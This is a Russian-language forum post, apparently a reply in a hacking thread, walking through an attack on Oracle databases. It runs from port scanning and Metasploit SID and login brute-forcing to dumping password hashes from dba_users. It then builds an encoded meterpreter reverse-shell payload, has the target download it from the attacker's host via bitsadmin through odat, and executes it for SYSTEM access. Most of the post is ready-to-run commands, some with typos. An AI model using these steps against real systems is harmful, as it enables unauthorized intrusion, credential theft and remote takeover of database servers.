В общем,голыми руками без подготовки такую БД не взять.
Покажу как можно атаковать такую БД без вышеприведённого модуля и скачивания доп.пакетов или установки самой БД.
Для этой БД актуальны такие порты как tcp-1521,22,23
Tns-listener взаимодействует с этой базой.
Код:
Проверяем nmap # nmap -n -sV IP -цели -p 1521
Если порт открыт ,то пробуем атаковать c Metasploit:
Код:
# msf > use auxiliary/admin/oracle/tnscmd
# > set RHOST IP -цели
# > run
Если ничего не получилось,то:
Код:
# > use auxiliary/scanner/oracle/sid_enum -но это сработает для старых версий.
# > show options
# > set ROSTS IP-цели
# > run
Если БД новая,то результат мы не получим.
И увы,но без брута не обойтись:
Код:
# use auxiliary/admin/oracle/sid_brute
# > show options
# > set RHOST IP-цели
# > run - можно использовать при этом свой словарь,а так-расчёт на словарик из Metasploit.
Если что -то выцыганилось из XE (found sid),то успех наполовину гарантирован.
И пытаемся достать учётные записи
Здесь мы не только уже можем запустить прослушиватель,но и брутить аккаунты:
Код:
# msf > use auxiliary/scanner/oracle/oracle_login
# > show options
# > set RHOSTS IP-цели
# > set RPORTS 1521
# > run
Надо иметь в виду ,что в БД Oracle предусмотрены политики безопасности,и после неудачных попыток брутфорса,аккаунты могут быть заблокированы.
Здесь используется принцип большинства,что аккаунтов может быть много и у них разные привелегии,возможно некоторые не будут отключены.
Задача сбрутить хоть один аккаунт,но желательно , чтобы привелегии были немного хотя бы завышены.
Если это всё получилось,то Респект.
Дело за повышением привелегий, нужна утилита Sqlplus,которой мы передадим логин с паролем и мы подключимся к Oracle:
Код:
# sqlpluse ЛОГИН/ПАРОЛЬ@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(Host=IP-цели)(Port=1521))(CONNECT_DATA=(SID=XE)))
Если всё о,кей,то получаем тут же удалённую сессию и делаем запрос с получаем логинов и хэшей паролей юзеров:
Код:
# SQL > select username,password,account_status from dba_users;
А вот с получением shell всё гораздо сложнее.
Используется для этого наличие проведения java-техник,проверяем на возможность с помощью утилиты odat:
Код:
# /opt/odat# python odat.py java -s IP-цели -U Логин -P Пароль -d XE --test-module
Если ответ KO-java -то библиотека отсутствует и проверяем через планировщик dmsscheduller:
Код:
# /opt/odat# python odat.py dmsscheduller -s IP-цели -U Логин -P Пароль -d XE --test-module
Если ответ -OK,то это прекрасно.
Для залития shell,надо генерировать payload,к примеру:
Код:
# msfvenom -p windows/meterpreter/reverse_tcp -a х86 --platform windows -e x86/shikata_ga_nai -i 3 LHOST IP-атак.машины LPORT=4444-f exe > назв_файла.exe
# file назв_файла.exe
# mv назв_файла.exe /var/www/html - перенесли в каталог
Теперь,снова используем утилиту odat и заставим скачать цель наш файл встроенной утилитой в Винде bitsadmin как по http , так и по https-протоколам:
Код:
# /opt/odat# python odat.py dmsscheduler -s IP-цели -U Логин -P Пароль -d XE --ecec "C:\Windows\System32\cmd.exe /c bitsadmin /rawreturn /transfer getfiles http://IP-атак_машины/
назв_файла.exe C:\назв_файла.exe"
Мы должны увидеть успешное выполнение команды : Job is finish.
В случае с LInux используем wget.
Теперь, подключаем Metasploit :
Код:
# use exploit/multi/handler
# set PAYLOAD windows/meterpreter/reverse_tcp
# set LHOST IP -атак_машины
# > exploit
И запускаем закачанный бинарник с помощью odat с указанием пути до него:
Код:
# /opt/odat/# python odat.py dbmsscheduler -s IP-цели -U логин -P Пароль -d XE --exec "C:\назв_файла.exe"
В итоге,плучаем привелегии System ( проверяем командой getuid),т.к. Oracle часто устанавливается как системная служба.
Ну и смотрим корень диска С: ls C:\\
Эксплойты можно применять при этом различные.
P/S Конкретно по вопросу,попробуйте в начале установить
Ссылка скрыта от гостей
Oracle, а потом то,что качали с Github.